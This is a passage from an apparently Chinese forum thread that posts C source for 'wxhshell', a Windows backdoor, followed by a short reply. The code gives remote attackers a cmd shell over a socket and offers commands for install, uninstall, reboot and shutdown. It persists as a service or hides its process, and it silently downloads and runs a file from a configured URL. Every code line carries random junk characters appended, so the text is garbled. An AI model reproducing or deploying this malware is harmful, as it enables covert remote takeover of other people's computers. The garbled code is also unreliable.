  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {u(}ED#p  
  else x?k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A^T~@AO  
  } 8>%jZ%`a  
  else { 9 NGeh*`  
Z4wrXss~  
    switch(cmd[0]) { p%1xj2 ?nN  
  SX Hru Z  
  // 帮助 F8|5_214'  
  case '?': { 1+16i=BF)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N=O+X~  
    break; L]/\C{}k  
  } )rs|=M=Xk  
  // 安装 dVj'  
  case 'i': { ;JPbBwm  
    if(Install()) Lyf? V(S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr~qt~Oi  
    else !T#8N7J>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ygUd8@  
    break; SU_] C+  
    } [T}%q"<  
  // 卸载 %#S"~)  
  case 'r': { r|JiGj^om  
    if(Uninstall()) g|GvJ)VX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + e5  
    else ]AFM Y<mB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u>3&.t@hU1  
    break; Ru  vG1"  
    } j(@g   
  // 显示 wxhshell 所在路径  H3/Y  
  case 'p': { Hg gR=>s  
    char svExeFile[MAX_PATH]; gJcXdv=]2  
    strcpy(svExeFile,"\n\r"); {E3<GeHw4  
      strcat(svExeFile,ExeFile); PO1:9  
        send(wsh,svExeFile,strlen(svExeFile),0); S,wj[;cv4  
    break; bG?WB,1  
    } }<}`Q^Mlk  
  // 重启 3IJI5K_  
  case 'b': { T;4gcJPn"M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sob $j  
    if(Boot(REBOOT)) = h<? /Krs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zgy2Pot  
    else { Rktn/Vi  
    closesocket(wsh); <u x*r#a!d  
    ExitThread(0); {d?4;Kd  
    } 6'No4[F 4n  
    break; T ,O<LFv  
    } !F7EAQn{(  
  // 关机 9GtVI^]  
  case 'd': { RIVL 0Ig  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DiYJlD&  
    if(Boot(SHUTDOWN)) }]39 iK`w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :~0^ib<v;  
    else { o $HJg  
    closesocket(wsh); |`94Wj<  
    ExitThread(0); .Kh(F 6 s  
    } ok\/5oz  
    break; oQ-|\?{;A  
    } >jrz;r  
  // 获取shell z!1/_]WJ,  
  case 's': { E-tNB{r@  
    CmdShell(wsh); ~*cY&  9  
    closesocket(wsh); ]UCk_zWsn1  
    ExitThread(0); ik1L  
    break; R.2KYhp ,  
  } rmg";(I  
  // 退出 |S>J<]H p  
  case 'x': { cO=UswIkwO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =-Q  
    CloseIt(wsh); :#W>SO  
    break; Hs4zJk  
    } P^_d$  
  // 离开 Ng_rb KXC#  
  case 'q': { \}4#**]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T`w};]z^d2  
    closesocket(wsh); *09\\ G  
    WSACleanup(); C5sN[  
    exit(1); '+q'H  
    break; sw qky5_K  
        } E/L?D  
  } m)[wZP*e  
  } h@>rjeY@  
G5QgnxwP2  
  // 提示信息 /nMqEHCyg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '/yx_R K2?  
} $ Op/5j  
  } {^$"/hj  
VQ,\O  
  return; 1:;&wf  
} LnRi+n[@7  
A]SB c2   
// shell模块句柄 !7Nz W7j  
int CmdShell(SOCKET sock) xBI"{nGoN  
{ 8#Z\}gGz  
STARTUPINFO si; %dk$K!5D0  
ZeroMemory(&si,sizeof(si)); *l?% o{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _"w!KNX>(~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ++{+ #s6  
PROCESS_INFORMATION ProcessInfo; Kt* za  
char cmdline[]="cmd"; / =Uv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "$:y03V  
  return 0; kDpZnXP  
} ^%*{:0'  
73sAZa|  
// 自身启动模式 @qhg[= @  
int StartFromService(void) y1"^S  
{ LWb}) #E  
typedef struct CQuvbAo  
{  RoM*Qjw  
  DWORD ExitStatus; TaHi+  
  DWORD PebBaseAddress; ,tR'0&=  
  DWORD AffinityMask; +zdq+<9X  
  DWORD BasePriority; piiQ  
  ULONG UniqueProcessId; 98%tws`  
  ULONG InheritedFromUniqueProcessId; (B/F6 X;o.  
}   PROCESS_BASIC_INFORMATION; IO&#)Ft  
k2tX$\E  
PROCNTQSIP NtQueryInformationProcess; (zLIv9$  
]'ApOp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CD<u@l,1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g-V\ s&}  
dBq,O%$oq  
  HANDLE             hProcess; h9n<ped`A;  
  PROCESS_BASIC_INFORMATION pbi; ?L#SnnE  
c{4nW|/W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F=T.*-oS3  
  if(NULL == hInst ) return 0; eg~^wi  
q}A3"$-F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +q=jB-eIx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "$"mWF-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <$3nD b-  
. ;@) 5"  
  if (!NtQueryInformationProcess) return 0; U#1yl6e\I  
&lfF!   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pymh^i  
  if(!hProcess) return 0; k#r7&Y  
1]3bx N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rnBeL _8C  
MLIQ 8=  
  CloseHandle(hProcess); <sFf'W_3{  
yExyx?j.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z` ?xS  
if(hProcess==NULL) return 0; 2u;fT{(  
YIk6:W{  
HMODULE hMod; | v'5*n9  
char procName[255]; +p}Xmn  
unsigned long cbNeeded; "u]Fl+c  
8}0y)aJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wG[l9)lz  
F5Q. Vh  
  CloseHandle(hProcess); +4p ;4/=  
(X7yNIPfA  
if(strstr(procName,"services")) return 1; // 以服务启动 HY|SLk/E  
,Y5 4(>>%  
  return 0; // 注册表启动 #<>E+r+  
} zr9Pm6Rl  
&E '>+6  
// 主模块 n2hsG.4  
int StartWxhshell(LPSTR lpCmdLine) k'q !MZU  
{ g(r'Y#U  
  SOCKET wsl; ^yZSCrPGI  
BOOL val=TRUE; b`Ek;nYek  
  int port=0; 9/KQAc*  
  struct sockaddr_in door; B;7s]R  
<0qY8  
  if(wscfg.ws_autoins) Install(); ]G&\L~P  
K:50?r_-6  
port=atoi(lpCmdLine); %t|2GIu  
zw9ULQ$#  
if(port<=0) port=wscfg.ws_port; 1;[ <||K  
XN%D`tbvJ  
  WSADATA data; juYt =  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 61wG:  
128 rly  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m/B9)JzY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZS>/ 5  
  door.sin_family = AF_INET; n?fC_dy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H.~+{jTr  
  door.sin_port = htons(port); g^^m a}i  
C4TD@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pG=zGx4  
closesocket(wsl); s"F,=]HQ!G  
return 1; oqo8{hrdHk  
} )4~XZt1r  
Jpnp'  
  if(listen(wsl,2) == INVALID_SOCKET) { vKLG9ovlY  
closesocket(wsl); H$iMP.AK  
return 1; XxQ2g&USk  
} (8F?yBu  
  Wxhshell(wsl); s_?* R  
  WSACleanup(); ,qh  
[~JN n  
return 0; >Nqkz?67  
@,$HqJ  
} @].aFhH`)  
|8+rUFkU8  
// 以NT服务方式启动 X KeK;+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EqwA8? M  
{ md_s2d  
DWORD   status = 0;  0d)n} fm  
  DWORD   specificError = 0xfffffff; 3VgH* vAU}  
?Ir6*ZyY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \srOU|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <"9Z7" >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P9~kN|  
  serviceStatus.dwWin32ExitCode     = 0; 3CL:VwoW  
  serviceStatus.dwServiceSpecificExitCode = 0; RS=7W._W  
  serviceStatus.dwCheckPoint       = 0; @WUCv7U  
  serviceStatus.dwWaitHint       = 0; Gwk@X/q  
3p#^#1/_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lsxii-#O  
  if (hServiceStatusHandle==0) return; j}Mpc;XOc  
M/ \~  
status = GetLastError(); h 'CLf]  
  if (status!=NO_ERROR) SK2pOZN  
{ v3]M;Y\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N#qoKY(#  
    serviceStatus.dwCheckPoint       = 0; wOSNlbQ5jl  
    serviceStatus.dwWaitHint       = 0; #jR?C9&!(  
    serviceStatus.dwWin32ExitCode     = status; 9$t@Gmn  
    serviceStatus.dwServiceSpecificExitCode = specificError; wIPDeC4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VJPPHJ[-  
    return; UcIR0BYa  
  } of<OOh%3  
S+ x [1#r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SxyFFt  
  serviceStatus.dwCheckPoint       = 0; 3 g!h4?^  
  serviceStatus.dwWaitHint       = 0; {<Zqw]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )v.FAV:  
} ^ `9OA`2  
g M.(BN  
// 处理NT服务事件,比如:启动、停止 +%^xz 1m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EkPSG&6RZ  
{ R``qQ;cc  
switch(fdwControl) .- o,_eg1f  
{ p_5+L@%Gb  
case SERVICE_CONTROL_STOP: ={d\zjI$  
  serviceStatus.dwWin32ExitCode = 0; .4-S|]/d,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4cL=f  
  serviceStatus.dwCheckPoint   = 0; JaTW/~ TU  
  serviceStatus.dwWaitHint     = 0; S|i //I%_  
  { 0_)\e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NIGFu{S  
  } Q0A1N[  
  return; 7hQl,v< 5  
case SERVICE_CONTROL_PAUSE: awtzt?VtLh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6&cU*Io@  
  break; <aS1bQgaU  
case SERVICE_CONTROL_CONTINUE: o qTh )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q2Dg~et  
  break; GH!#"Sl8Z  
case SERVICE_CONTROL_INTERROGATE: -. G0k*[d  
  break; (["u"m%  
}; f+RDvgkKU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?J AzN  
} 9w|q':<  
3H2'HO  
// 标准应用程序主函数 NiF*h~ q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n ~)%ou  
{ (TsgVq]L  
C.Yz<?;S  
// 获取操作系统版本 0 $r{h}[^c  
OsIsNt=GetOsVer(); 5VS<I\o}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R8]bi|e)  
t `oP;  
  // 从命令行安装 aeIR}'H|  
  if(strpbrk(lpCmdLine,"iI")) Install(); x3 <Lx^;  
G#>nOB  
  // 下载执行文件 ME"/%59r  
if(wscfg.ws_downexe) { F ry5v?22  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KA7nncg;,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?xega-l  
} !cZIoz  
xMu6PM<l  
if(!OsIsNt) { -`JY] H  
// 如果时win9x,隐藏进程并且设置为注册表启动 N_U D7P1  
HideProc(); 7(-<x@e  
StartWxhshell(lpCmdLine); -b<+Ra  
} 6kk(FVX  
else dcsd//E  
  if(StartFromService()) "=)`*"rr  
  // 以服务方式启动 >jm9x1+C  
  StartServiceCtrlDispatcher(DispatchTable); MH-,+-Eq  
else ! `o =2b=N  
  // 普通方式启动 "|H0 X#  
  StartWxhshell(lpCmdLine); %vI]"a@  
&+p07  
return 0; d #su  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五